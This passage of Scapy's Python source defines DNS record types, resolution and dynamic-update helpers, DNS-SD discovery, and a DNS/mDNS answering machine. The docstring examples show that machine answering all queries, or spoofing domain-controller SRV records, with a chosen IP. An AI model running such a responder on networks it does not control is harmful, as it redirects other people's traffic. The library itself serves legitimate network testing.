# mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), FlagsField("flags", 256, 16, "S???????Z???????"), # S: Secure Entry Point # Z: Zone Key ByteField("protocol", 3), ByteEnumField("algorithm", 5, dnssecalgotypes), StrField("publickey", "") ] class DNSRRDS(_DNSRRdummy): name = "DNS DS Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 43, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("keytag", 0), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteEnumField("digesttype", 5, dnssecdigesttypes), StrField("digest", "") ] # RFC 5074 - DNSSEC Lookaside Validation (DLV) class DNSRRDLV(DNSRRDS): name = "DNS DLV Resource Record" def __init__(self, *args, **kargs): DNSRRDS.__init__(self, *args, **kargs) if not kargs.get('type', 0): self.type = 32769 # RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence class DNSRRNSEC3(_DNSRRdummy): name = "DNS NSEC3 Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 50, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), BitEnumField("flags", 0, 8, {1: "Opt-Out"}), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", "", length_from=lambda x: x.saltlength), FieldLenField("hashlength", 0, fmt="!B", length_of="nexthashedownername"), # noqa: E501 StrLenField("nexthashedownername", "", length_from=lambda x: x.hashlength), # noqa: E501 RRlistField("typebitmaps", []) ] class DNSRRNSEC3PARAM(_DNSRRdummy): name = "DNS NSEC3PARAM Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 51, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), ByteField("flags", 0), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", "", length_from=lambda pkt: pkt.saltlength) # noqa: E501 ] # RFC 9460 Service Binding and Parameter Specification via the DNS # https://www.rfc-editor.org/rfc/rfc9460.html # https://www.iana.org/assignments/dns-svcb/dns-svcb.xhtml svc_param_keys = { 0: "mandatory", 1: "alpn", 2: "no-default-alpn", 3: "port", 4: "ipv4hint", 5: "ech", 6: "ipv6hint", 7: "dohpath", 8: "ohttp", } class SvcParam(Packet): name = "SvcParam" fields_desc = [ShortEnumField("key", 0, svc_param_keys), FieldLenField("len", None, length_of="value", fmt="H"), MultipleTypeField( [ # mandatory (FieldListField("value", [], ShortEnumField("", 0, svc_param_keys), length_from=lambda pkt: pkt.len), lambda pkt: pkt.key == 0), # alpn, no-default-alpn (DNSTextField("value", [], length_from=lambda pkt: pkt.len), lambda pkt: pkt.key in (1, 2)), # port (ShortField("value", 0), lambda pkt: pkt.key == 3), # ipv4hint (FieldListField("value", [], IPField("", "0.0.0.0"), length_from=lambda pkt: pkt.len), lambda pkt: pkt.key == 4), # ipv6hint (FieldListField("value", [], IP6Field("", "::"), length_from=lambda pkt: pkt.len), lambda pkt: pkt.key == 6), ], StrLenField("value", "", length_from=lambda pkt:pkt.len))] def extract_padding(self, p): return "", p class DNSRRSVCB(_DNSRRdummy): name = "DNS SVCB Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 64, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("svc_priority", 0), DNSStrField("target_name", ""), PacketListField("svc_params", [], SvcParam)] class DNSRRHTTPS(_DNSRRdummy): name = "DNS HTTPS Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 65, dnstypes) ] + DNSRRSVCB.fields_desc[2:] # RFC 2782 - A DNS RR for specifying the location of services (DNS SRV) class DNSRRSRV(_DNSRRdummy): name = "DNS SRV Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 33, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("priority", 0), ShortField("weight", 0), ShortField("port", 0), DNSStrField("target", ""), ] # RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG) tsig_algo_sizes = {"HMAC-MD5.SIG-ALG.REG.INT": 16, "hmac-sha1": 20} class TimeSignedField(Field[int, bytes]): def __init__(self, name, default): Field.__init__(self, name, default, fmt="6s") def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds def i2m(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp_int) def m2i(self, pkt, packed_seconds): """Convert the internal representation to the number of seconds since 1-Jan-70 UTC.""" if packed_seconds is None: return None return self._convert_seconds(packed_seconds) def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(packed_seconds) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct) class DNSRRTSIG(_DNSRRdummy): name = "DNS TSIG Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 250, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("algo_name", "hmac-sha1"), TimeSignedField("time_signed", 0), ShortField("fudge", 0), FieldLenField("mac_len", 20, fmt="!H", length_of="mac_data"), # noqa: E501 StrLenField("mac_data", "", length_from=lambda pkt: pkt.mac_len), # noqa: E501 ShortField("original_id", 0), ShortField("error", 0), FieldLenField("other_len", 0, fmt="!H", length_of="other_data"), # noqa: E501 StrLenField("other_data", "", length_from=lambda pkt: pkt.other_len) # noqa: E501 ] class DNSRRNAPTR(_DNSRRdummy): name = "DNS NAPTR Resource Record" fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 35, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("order", 0), ShortField("preference", 0), FieldLenField("flags_len", None, fmt="!B", length_of="flags"), StrLenField("flags", "", length_from=lambda pkt: pkt.flags_len), FieldLenField("services_len", None, fmt="!B", length_of="services"), StrLenField("services", "", length_from=lambda pkt: pkt.services_len), FieldLenField("regexp_len", None, fmt="!B", length_of="regexp"), StrLenField("regexp", "", length_from=lambda pkt: pkt.regexp_len), DNSStrField("replacement", ""), ] DNSRR_DISPATCHER = { 6: DNSRRSOA, # RFC 1035 13: DNSRRHINFO, # RFC 1035 15: DNSRRMX, # RFC 1035 33: DNSRRSRV, # RFC 2782 35: DNSRRNAPTR, # RFC 2915 41: DNSRROPT, # RFC 1671 43: DNSRRDS, # RFC 4034 46: DNSRRRSIG, # RFC 4034 47: DNSRRNSEC, # RFC 4034 48: DNSRRDNSKEY, # RFC 4034 50: DNSRRNSEC3, # RFC 5155 51: DNSRRNSEC3PARAM, # RFC 5155 64: DNSRRSVCB, # RFC 9460 65: DNSRRHTTPS, # RFC 9460 250: DNSRRTSIG, # RFC 2845 32769: DNSRRDLV, # RFC 4431 } class DNSRR(Packet): name = "DNS Resource Record" show_indent = 0 fields_desc = [DNSStrField("rrname", ""), ShortEnumField("type", 1, dnstypes), BitField("cacheflush", 0, 1), # mDNS RFC 6762 BitEnumField("rclass", 1, 15, dnsclasses), IntField("ttl", 0), FieldLenField("rdlen", None, length_of="rdata", fmt="H"), MultipleTypeField( [ # A (IPField("rdata", "0.0.0.0"), lambda pkt: pkt.type == 1), # AAAA (IP6Field("rdata", "::"), lambda pkt: pkt.type == 28), # NS, MD, MF, CNAME, PTR, DNAME (DNSStrField("rdata", "", length_from=lambda pkt: pkt.rdlen), lambda pkt: pkt.type in [2, 3, 4, 5, 12, 39]), # TEXT (DNSTextField("rdata", [""], length_from=lambda pkt: pkt.rdlen), lambda pkt: pkt.type == 16), ], StrLenField("rdata", "", length_from=lambda pkt:pkt.rdlen) )] def default_payload_class(self, payload): return conf.padding_layer def _DNSRR(s, **kwargs): """ DNSRR dispatcher func """ if s: # Try to find the type of the RR using the dispatcher _, remain = dns_get_str(s, _ignore_compression=True) cls = DNSRR_DISPATCHER.get( struct.unpack("!H", remain[:2])[0], DNSRR, ) rrlen = ( len(s) - len(remain) + # rrname len 10 + struct.unpack("!H", remain[8:10])[0] ) pkt = cls(s[:rrlen], **kwargs) / conf.padding_layer(s[rrlen:]) # drop rdlen because if rdata was compressed, it will break everything # when rebuilding del pkt.fields["rdlen"] return pkt return None class DNSQR(Packet): name = "DNS Question Record" show_indent = 0 fields_desc = [DNSStrField("qname", "www.example.com"), ShortEnumField("qtype", 1, dnsqtypes), BitField("unicastresponse", 0, 1), # mDNS RFC 6762 BitEnumField("qclass", 1, 15, dnsclasses)] def default_payload_class(self, payload): return conf.padding_layer class _DNSPacketListField(PacketListField): # A normal PacketListField with backward-compatible hacks def any2i(self, pkt, x): # type: (Optional[Packet], List[Any]) -> List[Any] if x is None: warnings.warn( ("The DNS fields 'qd', 'an', 'ns' and 'ar' are now " "PacketListField(s) ! " "Setting a null default should be [] instead of None"), DeprecationWarning ) x = [] return super(_DNSPacketListField, self).any2i(pkt, x) def i2h(self, pkt, x): # type: (Optional[Packet], List[Packet]) -> Any class _list(list): """ Fake list object to provide compatibility with older DNS fields """ def __getattr__(self, attr): try: ret = getattr(self[0], attr) warnings.warn( ("The DNS fields 'qd', 'an', 'ns' and 'ar' are now " "PacketListField(s) ! " "To access the first element, use pkt.an[0] instead of " "pkt.an"), DeprecationWarning ) return ret except AttributeError: raise return _list(x) class DNS(DNSCompressedPacket): name = "DNS" FORCE_TCP = False fields_desc = [ ConditionalField(ShortField("length", None), lambda p: p.FORCE_TCP or isinstance(p.underlayer, TCP)), ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, {0: "QUERY", 1: "IQUERY", 2: "STATUS"}), BitField("aa", 0, 1), BitField("tc", 0, 1), BitField("rd", 1, 1), BitField("ra", 0, 1), BitField("z", 0, 1), # AD and CD bits are defined in RFC 2535 BitField("ad", 0, 1), # Authentic Data BitField("cd", 0, 1), # Checking Disabled BitEnumField("rcode", 0, 4, {0: "ok", 1: "format-error", 2: "server-failure", 3: "name-error", 4: "not-implemented", 5: "refused"}), FieldLenField("qdcount", None, count_of="qd"), FieldLenField("ancount", None, count_of="an"), FieldLenField("nscount", None, count_of="ns"), FieldLenField("arcount", None, count_of="ar"), _DNSPacketListField("qd", [DNSQR()], DNSQR, count_from=lambda pkt: pkt.qdcount), _DNSPacketListField("an", [], _DNSRR, count_from=lambda pkt: pkt.ancount), _DNSPacketListField("ns", [], _DNSRR, count_from=lambda pkt: pkt.nscount), _DNSPacketListField("ar", [], _DNSRR, count_from=lambda pkt: pkt.arcount), ] def get_full(self): # Required for DNSCompressedPacket if isinstance(self.underlayer, TCP) or self.FORCE_TCP: return self.original[2:] else: return self.original def answers(self, other): return (isinstance(other, DNS) and self.id == other.id and self.qr == 1 and other.qr == 0) def mysummary(self): name = "" if self.qr: type = "Ans" if self.an and isinstance(self.an[0], DNSRR): name = ' %s' % self.an[0].rdata elif self.rcode != 0: name = self.sprintf(' %rcode%') else: type = "Qry" if self.qd and isinstance(self.qd[0], DNSQR): name = ' %s' % self.qd[0].qname return "%sDNS %s%s" % ( "m" if isinstance(self.underlayer, UDP) and self.underlayer.dport == 5353 else "", type, name, ) def post_build(self, pkt, pay): if ( (isinstance(self.underlayer, TCP) or self.FORCE_TCP) and self.length is None ): pkt = struct.pack("!H", len(pkt) - 2) + pkt[2:] return pkt + pay def compress(self): """Return the compressed DNS packet (using `dns_compress()`)""" return dns_compress(self) def pre_dissect(self, s): """ Check that a valid DNS over TCP message can be decoded """ if isinstance(self.underlayer, TCP): # Compute the length of the DNS packet if len(s) >= 2: dns_len = struct.unpack("!H", s[:2])[0] else: message = "Malformed DNS message: too small!" log_runtime.info(message) raise Scapy_Exception(message) # Check if the length is valid if dns_len < 14 or len(s) < dns_len: message = "Malformed DNS message: invalid length!" log_runtime.info(message) raise Scapy_Exception(message) return s class DNSTCP(DNS): """ A DNS packet that is always under TCP """ FORCE_TCP = True match_subclass = True bind_layers(UDP, DNS, dport=5353) bind_layers(UDP, DNS, sport=5353) bind_layers(UDP, DNS, dport=53) bind_layers(UDP, DNS, sport=53) DestIPField.bind_addr(UDP, "224.0.0.251", dport=5353) if conf.ipv6_enabled: from scapy.layers.inet6 import DestIP6Field DestIP6Field.bind_addr(UDP, "ff02::fb", dport=5353) bind_layers(TCP, DNS, dport=53) bind_layers(TCP, DNS, sport=53) # Nameserver config conf.nameservers = read_nameservers() _dns_cache = conf.netcache.new_cache("dns_cache", 300) @conf.commands.register def dns_resolve(qname, qtype="A", raw=False, tcp=False, verbose=1, timeout=3, **kwargs): """ Perform a simple DNS resolution using conf.nameservers with caching :param qname: the name to query :param qtype: the type to query (default A) :param raw: return the whole DNS packet (default False) :param tcp: whether to use directly TCP instead of UDP. If truncated is received, UDP automatically retries in TCP. (default: False) :param verbose: show verbose errors :param timeout: seconds until timeout (per server) :raise TimeoutError: if no DNS servers were reached in time. """ # Unify types (for caching) qtype = DNSQR.qtype.any2i_one(None, qtype) qname = DNSQR.qname.any2i(None, qname) # Check cache cache_ident = b";".join( [qname, struct.pack("!B", qtype)] + ([b"raw"] if raw else []) ) result = _dns_cache.get(cache_ident) if result: return result kwargs.setdefault("timeout", timeout) kwargs.setdefault("verbose", 0) # hide sr1() output res = None for nameserver in conf.nameservers: # Try all nameservers try: # Spawn a socket, connect to the nameserver on port 53 if tcp: cls = DNSTCP sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) else: cls = DNS sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(kwargs["timeout"]) sock.connect((nameserver, 53)) # Connected. Wrap it with DNS sock = StreamSocket(sock, cls) # I/O res = sock.sr1( cls(qd=[DNSQR(qname=qname, qtype=qtype)], id=RandShort()), **kwargs, ) except IOError as ex: if verbose: log_runtime.warning(str(ex)) continue finally: sock.close() if res: # We have a response ! Check for failure if res[DNS].tc == 1: # truncated ! if not tcp: # Retry using TCP return dns_resolve( qname=qname, qtype=qtype, raw=raw, tcp=True, **kwargs, ) elif verbose: log_runtime.info("DNS answer is truncated !") if res[DNS].rcode == 2: # server failure res = None if verbose: log_runtime.info( "DNS: %s answered with failure for %s" % ( nameserver, qname, ) ) else: break if res is not None: if raw: # Raw result = res else: # Find answers result = [ x for x in itertools.chain(res.an, res.ns, res.ar) if x.type == qtype ] if result: # Cache it _dns_cache[cache_ident] = result return result else: raise TimeoutError @conf.commands.register def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find(".") + 1:] r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], # noqa: E501 ns=[DNSRR(rrname=name, type="A", ttl=ttl, rdata=rdata)]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 @conf.commands.register def dyndns_del(nameserver, name, type="ALL", ttl=10): """Send a DNS delete message to a nameserver for "name" dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok) example: dyndns_del("ns1.toto.com", "dyn.toto.com") RFC2136 """ zone = name[name.find(".") + 1:] r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], # noqa: E501 ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata="")]), # noqa: E501 verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 class DNS_am(AnsweringMachine): function_name = "dnsd" filter = "udp port 53" cls = DNS # We also use this automaton for llmnrd / mdnsd def parse_options(self, joker=None, match=None, srvmatch=None, joker6=False, send_error=False, relay=False, from_ip=True, from_ip6=False, src_ip=None, src_ip6=None, ttl=10, jokerarpa=False): """ Simple DNS answering machine. :param joker: default IPv4 for unresolved domains. Set to False to disable, None to mirror the interface's IP. Defaults to None, unless 'match' is used, then it defaults to False. :param joker6: default IPv6 for unresolved domains. Set to False to disable, None to mirror the interface's IPv6. Defaults to False. :param match: queries to match. This can be a dictionary of {name: val} where name is a string representing a domain name (A, AAAA) and val is a tuple of 2 elements, each representing an IP or a list of IPs. If val is a single element, (A, None) is assumed. This can also be a list or names, in which case joker(6) are used as a response. :param jokerarpa: answer for .in-addr.arpa PTR requests. (Default: False) :param relay: relay unresolved domains to conf.nameservers (Default: False). :param send_error: send an error message when this server can't answer (Default: False) :param srvmatch: a dictionary of {name: (port, target)} used for SRV :param from_ip: an source IP to filter. Can contain a netmask. True for all, False for none. Default True :param from_ip6: an source IPv6 to filter. Can contain a netmask. True for all, False for none. Default False :param ttl: the DNS time to live (in seconds) :param src_ip: override the source IP :param src_ip6: Examples: - Answer all 'A' and 'AAAA' requests:: $ sudo iptables -I OUTPUT -p icmp --icmp-type 3/3 -j DROP >>> dnsd(joker="192.168.0.2", joker6="fe80::260:8ff:fe52:f9d8", ... iface="eth0") - Answer only 'A' query for google.com with 192.168.0.2:: >>> dnsd(match={"google.com": "192.168.0.2"}, iface="eth0") - Answer DNS for a Windows domain controller ('SRV', 'A' and 'AAAA'):: >>> dnsd( ... srvmatch={ ... "_ldap._tcp.dc._msdcs.DOMAIN.LOCAL.": (389, ... "srv1.domain.local"), ... }, ... match={"src1.domain.local": ("192.168.0.102", ... "fe80::260:8ff:fe52:f9d8")}, ... ) - Relay all queries to another DNS server, except some:: >>> conf.nameservers = ["1.1.1.1"] # server to relay to >>> dnsd( ... match={"test.com": "1.1.1.1"}, ... relay=True, ... ) """ from scapy.layers.inet6 import Net6 self.mDNS = isinstance(self, mDNS_am) self.llmnr = self.cls != DNS # Add some checks (to help) if not isinstance(joker, (str, bool)) and joker is not None: raise ValueError("Bad 'joker': should be an IPv4 (str) or False !") if not isinstance(joker6, (str, bool)) and joker6 is not None: raise ValueError("Bad 'joker6': should be an IPv6 (str) or False !") if not isinstance(jokerarpa, (str, bool)): raise ValueError("Bad 'jokerarpa': should be a hostname or False !") if not isinstance(from_ip, (str, Net, bool)): raise ValueError("Bad 'from_ip': should be an IPv4 (str), Net or False !") if not isinstance(from_ip6, (str, Net6, bool)): raise ValueError("Bad 'from_ip6': should be an IPv6 (str), Net or False !") if self.mDNS and src_ip: raise ValueError("Cannot use 'src_ip' in mDNS !") if self.mDNS and src_ip6: raise ValueError("Cannot use 'src_ip6' in mDNS !") if joker is None and match is not None: joker = False self.joker = joker self.joker6 = joker6 self.jokerarpa = jokerarpa def normv(v): if isinstance(v, (tuple, list)) and len(v) == 2: return tuple(v) elif isinstance(v, str): return (v, joker6) else: raise ValueError("Bad match value: '%s'" % repr(v)) def normk(k): k = bytes_encode(k).lower() if not k.endswith(b"."): k += b"." return k self.match = collections.defaultdict(lambda: (joker, joker6)) if match: if isinstance(match, (list, set)): self.match.update({normk(k): (None, None) for k in match}) else: self.match.update({normk(k): normv(v) for k, v in match.items()}) if srvmatch is None: self.srvmatch = {} else: self.srvmatch = {normk(k): normv(v) for k, v in srvmatch.items()} self.send_error = send_error self.relay = relay if isinstance(from_ip, str): self.from_ip = Net(from_ip) else: self.from_ip = from_ip if isinstance(from_ip6, str): self.from_ip6 = Net6(from_ip6) else: self.from_ip6 = from_ip6 self.src_ip = src_ip self.src_ip6 = src_ip6 self.ttl = ttl def is_request(self, req): from scapy.layers.inet6 import IPv6 return ( req.haslayer(self.cls) and req.getlayer(self.cls).qr == 0 and ( ( self.from_ip6 is True or (self.from_ip6 and req[IPv6].src in self.from_ip6) ) if IPv6 in req else ( self.from_ip is True or (self.from_ip and req[IP].src in self.from_ip) ) ) ) def make_reply(self, req): # Build reply from the request resp = req.copy() if Ether in req: if self.mDNS: resp[Ether].src, resp[Ether].dst = None, None elif self.llmnr: resp[Ether].src, resp[Ether].dst = None, req[Ether].src else: resp[Ether].src, resp[Ether].dst = ( None if req[Ether].dst == "ff:ff:ff:ff:ff:ff" else req[Ether].dst, req[Ether].src, ) from scapy.layers.inet6 import IPv6 if IPv6 in req: resp[IPv6].underlayer.remove_payload() if self.mDNS: # "All Multicast DNS responses (including responses sent via unicast) # SHOULD be sent with IP TTL set to 255." resp /= IPv6(dst="ff02::fb", src=self.src_ip6, fl=req[IPv6].fl, hlim=255) elif self.llmnr: resp /= IPv6(dst=req[IPv6].src, src=self.src_ip6, fl=req[IPv6].fl, hlim=req[IPv6].hlim) else: resp /= IPv6(dst=req[IPv6].src, src=self.src_ip6 or req[IPv6].dst, fl=req[IPv6].fl, hlim=req[IPv6].hlim) elif IP in req: resp[IP].underlayer.remove_payload() if self.mDNS: # "All Multicast DNS responses (including responses sent via unicast) # SHOULD be sent with IP TTL set to 255." resp /= IP(dst="224.0.0.251", src=self.src_ip, id=req[IP].id, ttl=255) elif self.llmnr: resp /= IP(dst=req[IP].src, src=self.src_ip, id=req[IP].id, ttl=req[IP].ttl) else: resp /= IP(dst=req[IP].src, src=self.src_ip or req[IP].dst, id=req[IP].id, ttl=req[IP].ttl) else: warning("No IP or IPv6 layer in %s", req.command()) return try: resp /= UDP(sport=req[UDP].dport, dport=req[UDP].sport) except IndexError: warning("No UDP layer in %s", req.command(), exc_info=True) return try: req = req[self.cls] except IndexError: warning( "No %s layer in %s", self.cls.__name__, req.command(), exc_info=True, ) return try: queries = req.qd except AttributeError: warning("No qd attribute in %s", req.command(), exc_info=True) return # Special case: alias 'ALL' query as 'A' + 'AAAA' try: allquery = next( (x for x in queries if getattr(x, "qtype", None) == 255) ) queries.remove(allquery) queries.extend([ DNSQR( qtype=x, qname=allquery.qname, unicastresponse=allquery.unicastresponse, qclass=allquery.qclass, ) for x in [1, 28] ]) except StopIteration: pass # Process each query ans = [] ars = [] for rq in queries: if isinstance(rq, Raw): warning("Cannot parse qd element %s", rq.command(), exc_info=True) continue rqname = rq.qname.lower() if rq.qtype in [1, 28]: # A or AAAA if rq.qtype == 28: # AAAA rdata = self.match[rqname][1] if rdata is None and not self.relay: # 'None' resolves to the default IPv6 iface = resolve_iface(self.optsniff.get("iface", conf.iface)) if self.mDNS: # All IPs, as per mDNS. rdata = iface.ips[6] else: rdata = get_if_addr6( iface ) if self.mDNS and rdata and IPv6 in resp: # For mDNS, we must replace the IPv6 src resp[IPv6].src = rdata elif rq.qtype == 1: # A rdata = self.match[rqname][0] if rdata is None and not self.relay: # 'None' resolves to the default IPv4 iface = resolve_iface(self.optsniff.get("iface", conf.iface)) if self.mDNS: # All IPs, as per mDNS. rdata = iface.ips[4] else: rdata = get_if_addr( iface ) if self.mDNS and rdata and IP in resp: # For mDNS, we must replace the IP src resp[IP].src = rdata if rdata: # Common A and AAAA if not isinstance(rdata, list): rdata = [rdata] ans.extend([ DNSRR( rrname=rq.qname, ttl=self.ttl, rdata=x, type=rq.qtype, cacheflush=self.mDNS and rq.qtype == rq.qtype, ) for x in rdata ]) continue # next elif rq.qtype == 33: # SRV try: port, target = self.srvmatch[rqname] ans.append(DNSRRSRV( rrname=rq.qname, port=port, target=target, weight=100, ttl=self.ttl )) continue # next except KeyError: # No result pass elif rq.qtype == 12: # PTR if rq.qname[-14:] == b".in-addr.arpa." and self.jokerarpa: ans.append(DNSRR( rrname=rq.qname, type=rq.qtype, ttl=self.ttl, rdata=self.jokerarpa, )) continue # It it arrives here, there is currently no answer if self.relay: # Relay mode ? try: _rslv = dns_resolve(rq.qname, qtype=rq.qtype, raw=True) if _rslv: ans.extend(_rslv.an) ars.extend(_rslv.ar) continue # next except TimeoutError: pass # Still no answer. if self.mDNS: # "Any time a responder receives a query for a name for which it # has verified exclusive ownership, for a type for which that name # has no records, the responder MUST respond asserting the # nonexistence of that record using a DNS NSEC record [RFC4034]." ans.append(DNSRRNSEC( # RFC6762 sect 6.1 - Negative Response ttl=self.ttl, rrname=rq.qname, nextname=rq.qname, typebitmaps=RRlist2bitmap([rq.qtype]), )) if self.mDNS and all(x.type == 47 for x in ans): # If mDNS answers with only NSEC, discard. return if not ans: # No answer is available. if self.send_error: resp /= self.cls(id=req.id, qr=1, qd=req.qd, rcode=3) return resp log_runtime.info("No answer could be provided to: %s" % req.summary()) return # Handle Additional Records if self.mDNS: # Windows specific extension ars.append(DNSRROPT( z=0x1194, rdata=[ EDNS0OWN( primary_mac=resp[Ether].src, ), ], )) # All rq were answered if self.mDNS: # in mDNS mode, don't repeat the question, set aa=1, rd=0 dns = self.cls(id=req.id, aa=1, rd=0, qr=1, qd=[], ar=ars, an=ans) else: dns = self.cls(id=req.id, qr=1, qd=req.qd, ar=ars, an=ans) # Compress DNS and mDNS if not self.llmnr: resp /= dns_compress(dns) else: resp /= dns return resp class mDNS_am(DNS_am): """ mDNS answering machine. This has the same arguments as DNS_am. See help(DNS_am) Example:: - Answer for 'TEST.local' with local IPv4:: >>> mdnsd(match=["TEST.local"]) - Answer all requests with other IP:: >>> mdnsd(joker="192.168.0.2", joker6="fe80::260:8ff:fe52:f9d8", ... iface="eth0") - Answer for multiple different mDNS names:: >>> mdnsd(match={"TEST.local": "192.168.0.100", ... "BOB.local": "192.168.0.101"}) - Answer with both A and AAAA records:: >>> mdnsd(match={"TEST.local": ("192.168.0.100", ... "fe80::260:8ff:fe52:f9d8")}) """ function_name = "mdnsd" filter = "udp port 5353" # DNS-SD (RFC 6763) class DNSSDResult(SndRcvList): def __init__(self, res=None, # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]] # noqa: E501 name="DNS-SD", # type: str stats=None # type: Optional[List[Type[Packet]]] ): SndRcvList.__init__(self, res, name, stats) def show(self, types=['PTR', 'SRV'], alltypes=False): # type: (List[str], bool) -> None """ Print the list of discovered services. :param types: types to show. Default ['PTR', 'SRV'] :param alltypes: show all types. Default False """ if alltypes: types = None data = list() # type: List[Tuple[str | List[str], ...]] resolve_mac = ( self.res and isinstance(self.res[0][1].underlayer, Ether) and conf.manufdb ) header = ("IP", "Service") if resolve_mac: header = ("Mac",) + header for _, r in self.res: attrs = [] for attr in itertools.chain(r[DNS].an, r[DNS].ar): if types and dnstypes.get(attr.type) not in types: continue if isinstance(attr, DNSRRNSEC): attrs.append(attr.sprintf("%type%=%nextname%")) elif isinstance(attr, DNSRRSRV): attrs.append(attr.sprintf("%type%=(%target%,%port%)")) else: attrs.append(attr.sprintf("%type%=%rdata%")) ans = (r.src, attrs) if resolve_mac: mac = conf.manufdb._resolve_MAC(r.underlayer.src) data.append((mac,) + ans) else: data.append(ans) print( pretty_list( data, [header], ) ) @conf.commands.register def dnssd(service="_services._dns-sd._udp.local", af=socket.AF_INET, qtype="PTR", iface=None, verbose=2, timeout=3): """ Performs a DNS-SD (RFC6763) request :param service: the service name to query (e.g. _spotify-connect._tcp.local) :param af: the transport to use. socket.AF_INET or socket.AF_INET6 :param qtype: the type to use in the mDNS. Either TXT, PTR or SRV. :param iface: the interface to do this discovery on. """ if af == socket.AF_INET: pkt = IP(dst=ScopedIP("224.0.0.251", iface), ttl=255) elif af == socket.AF_INET6: pkt = IPv6(dst=ScopedIP("ff02::fb", iface)) else: return pkt /= UDP(sport=5353, dport=5353) pkt /= DNS(rd=0, qd=[DNSQR(qname=service, qtype=qtype)]) ans, _ = sr(pkt, multi=True, timeout=timeout, verbose=verbose) return DNSSDResult(ans.res) ================================================ FILE: scapy/layers/dot11.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Wireless LAN according to IEEE 802.11. This file contains bindings for 802.11 layers and some usual linklayers: - PRISM - RadioTap """ import re import struct from zlib import crc32 from scapy.config import conf, crypto_validator from scapy.data import ETHER_ANY, DLT_IEEE802_11, DLT_PRISM_HEADER, \ DLT_IEEE802_11_RADIO from scapy.compat import raw, plain_str, orb, chb from scapy.packet import Packet, bind_layers, bind_top_down, NoPayload from scapy.fields import ( BitEnumField, BitField, BitMultiEnumField, ByteEnumField, ByteField, ConditionalField, FCSField, FieldLenField, FieldListField, FlagsField, IntField, LEFieldLenField, LEIntField, LELongField, LEShortEnumField, LEShortField, LESignedIntField, MayEnd, MultipleTypeField, OUIField, PacketField, PacketListField, ReversePadField, ScalingField, ShortField, StrField, StrFixedLenField, StrLenField, XByteField, XStrFixedLenField, ) from scapy.ansmachine import AnsweringMachine from scapy.plist import PacketList from scapy.layers.l2 import Ether, LLC, MACField from scapy.layers.inet import IP, TCP from scapy.error import warning, log_loading from scapy.sendrecv import sniff, sendp if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import Cipher, algorithms try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms, ) except ImportError: decrepit_algorithms = algorithms else: default_backend = Ciphers = algorithms = decrepit_algorithms = None log_loading.info("Can't import python-cryptography v2.0+. Disabled WEP decryption/encryption. (Dot11)") # noqa: E501 ######### # Prism # ######### # 